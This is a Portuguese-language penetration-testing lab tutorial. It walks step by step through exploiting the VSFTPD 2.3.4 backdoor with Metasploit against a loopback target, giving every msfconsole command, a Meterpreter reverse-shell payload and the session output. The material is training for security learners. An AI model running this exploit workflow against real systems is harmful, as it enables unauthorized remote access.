Introdução
Bem-vindo ao mundo dos testes de penetração com o Metasploit! O Metasploit Framework é uma ferramenta poderosa de código aberto utilizada por profissionais de cibersegurança para investigar vulnerabilidades em redes e servidores.
Neste laboratório, você percorrerá um exploit clássico e direto. Configuramos um ambiente simulado onde um servidor executa uma versão vulnerável do VSFTPD (Very Secure FTP Daemon), especificamente a versão 2.3.4. Esta versão específica contém um backdoor bem conhecido que foi adicionado secretamente ao seu código-fonte.
Seu objetivo é usar o console do Metasploit (msfconsole) para encontrar, configurar e lançar um exploit contra este serviço para obter um shell de comando no sistema de destino. Este exercício prático ensinará o fluxo de trabalho fundamental do uso do Metasploit para a execução de um exploit simples.
Vamos começar!
Selecionar o exploit do serviço vulnerável com use exploit/unix/ftp/vsftpd_234_backdoor
Nesta etapa, você iniciará o console do Metasploit e selecionará o módulo de exploit apropriado para o backdoor do VSFTPD 2.3.4. O msfconsole é a interface principal do Metasploit Framework.
Primeiro, inicie o console do Metasploit. Usaremos a flag -q (quiet) para pular o banner e iniciar mais rapidamente.
msfconsole -q
Assim que o console for carregado, seu prompt mudará para msf >. Agora, você precisa informar ao Metasploit qual exploit deseja usar. O comando use carrega um módulo específico. O módulo para o backdoor do VSFTPD 2.3.4 está localizado em exploit/unix/ftp/vsftpd_234_backdoor.
Execute o seguinte comando no console do Metasploit:
use exploit/unix/ftp/vsftpd_234_backdoor
Após executar o comando, você notará que seu prompt muda para incluir o nome do módulo de exploit selecionado. Isso indica que o módulo está ativo e pronto para configuração.
Dependendo da sua versão do Metasploit, um payload padrão pode ser selecionado automaticamente (por exemplo, cmd/linux/http/x86/meterpreter_reverse_tcp). Este payload requer duas configurações:
- LHOST - O IP onde o Metasploit aguarda a conexão reversa. Use
127.0.0.1para este laboratório:
set LHOST 127.0.0.1
- Encoder - O codificador padrão pode falhar com a mensagem "All encoders failed to encode." Defina o codificador como
generic/nonepara evitar a codificação:
set Encoder generic/none
Definir o IP de destino com set RHOSTS target_ip
Nesta etapa, você configurará o exploit definindo o endereço IP do host de destino. A maioria dos módulos do Metasploit exige que você especifique um alvo. A opção para o(s) host(s) remoto(s) de destino é RHOSTS.
Como o serviço FTP vulnerável está sendo executado na mesma máquina em que você está (nosso ambiente de laboratório), você pode usar o endereço IP de loopback, que é 127.0.0.1.
Para definir esta opção, use o comando set seguido pelo nome da opção (RHOSTS) e seu valor (127.0.0.1).
Insira o seguinte comando no seu msfconsole:
set RHOSTS 127.0.0.1
O Metasploit confirmará a configuração imprimindo a opção e seu novo valor.
RHOSTS => 127.0.0.1
Agora você informou ao Metasploit para onde direcionar o ataque.
Verificar as opções do exploit com show options
Nesta etapa, você verificará se todas as opções necessárias para o exploit estão definidas corretamente antes de iniciá-lo. Esta é uma prática recomendada crucial para garantir que seu exploit esteja configurado adequadamente.
O comando show options exibe todas as opções configuráveis para o módulo carregado no momento, suas configurações atuais e se são obrigatórias.
Execute o seguinte comando no seu msfconsole:
show options
Você verá uma tabela listando as opções do módulo e as opções do payload.
Module options (exploit/unix/ftp/vsftpd_234_backdoor):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)
Payload options (cmd/linux/http/x86/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
...
Observe a saída. Certifique-se de que RHOSTS seja 127.0.0.1 e LHOST seja 127.0.0.1. O RPORT é 21 (FTP). Com todas as opções necessárias definidas, você está pronto para prosseguir.
Executar o Exploit com o comando exploit
Agora que o exploit está configurado, você irá executá-lo contra o alvo. O comando exploit (que pode ser abreviado como run) inicia o ataque com base no módulo e nas configurações atuais.
Execute o exploit digitando o seguinte comando e pressionando Enter:
exploit
SOLUÇÃO DE PROBLEMAS: Se você vir
Msf::OptionValidateError One or more options failed to validate: LHOST, executeset LHOST 127.0.0.1. Se você virAll encoders failed to encode, executeset Encoder generic/nonepara desativar a codificação. Em seguida, executeexploitnovamente.
AVISO: A primeira tentativa pode falhar com "Unable to connect to backdoor on 6200/TCP. Cooldown?" ou "Exploit completed, but no session was created." Se isso acontecer, basta executar o comando
exploitnovamente - a segunda tentativa deverá ser bem-sucedida.
O Metasploit tentará agora explorar o backdoor. Você verá uma saída detalhando as etapas do ataque. Se for bem-sucedido, ele acionará o backdoor e abrirá uma sessão Meterpreter.
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
Importante: Após o sucesso do exploit, você será direcionado para um prompt do Meterpreter. Este é o acesso remoto bem-sucedido! Você pode executar shell para obter um terminal de comandos interativo e, em seguida, executar whoami ou id para confirmar que possui acesso:
shell
Process 1234 created.
Channel 1 created.
whoami
labex
Parabéns, você obteve acesso remoto com sucesso!
Verificar a sessão com sessions -l
Nesta etapa, você aprenderá como gerenciar a conexão ativa, ou "sessão", que acabou de abrir. O Metasploit permite que você tenha várias sessões abertas ao mesmo tempo e alterne entre elas.
Primeiro, para retornar ao prompt do msfconsole sem fechar sua sessão, você precisa colocá-la em segundo plano (background). Pressione Ctrl+Z no seu teclado. Se você estiver dentro de um shell (após executar shell), digite y para colocar o canal em segundo plano - você retornará ao meterpreter >. Pressione Ctrl+Z novamente e digite y quando solicitado para colocar a sessão em segundo plano:
Background session 1? [y/N] y
msf exploit(unix/ftp/vsftpd_234_backdoor) >
O comando sessions só funciona no prompt principal do Metasploit (msf exploit(...) >), não dentro do Meterpreter. Agora você está de volta ao prompt principal do Metasploit. Para ver uma lista de todas as suas sessões ativas, use o comando sessions com a flag -l (list).
sessions -l
Isso exibirá uma tabela de todas as sessões em segundo plano, incluindo seu ID, tipo e informações de conexão.
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
Você pode ver sua sessão listada com um ID 1. Se quisesse interagir com ela novamente, usaria o comando sessions -i 1. Esse gerenciamento de sessão é um recurso fundamental do Metasploit.
Resumo
Parabéns! Você concluiu este laboratório com sucesso e realizou seu primeiro exploit usando o Metasploit Framework.
Neste laboratório, você aprendeu o fluxo de trabalho fundamental de um teste de penetração com o Metasploit:
- Iniciar o console do Metasploit (
msfconsole). - Selecionar um módulo de exploit específico com o comando
use. - Configurar o alvo do módulo com o comando
set. - Verificar a configuração com
show options. - Lançar o ataque usando o comando
exploit. - Gerenciar a conexão resultante usando
sessions.
Este padrão básico de "selecionar, configurar, explorar" é a base para quase todas as atividades que você realizará dentro do Metasploit. Agora você está equipado com o conhecimento central para explorar exploits e payloads mais complexos.



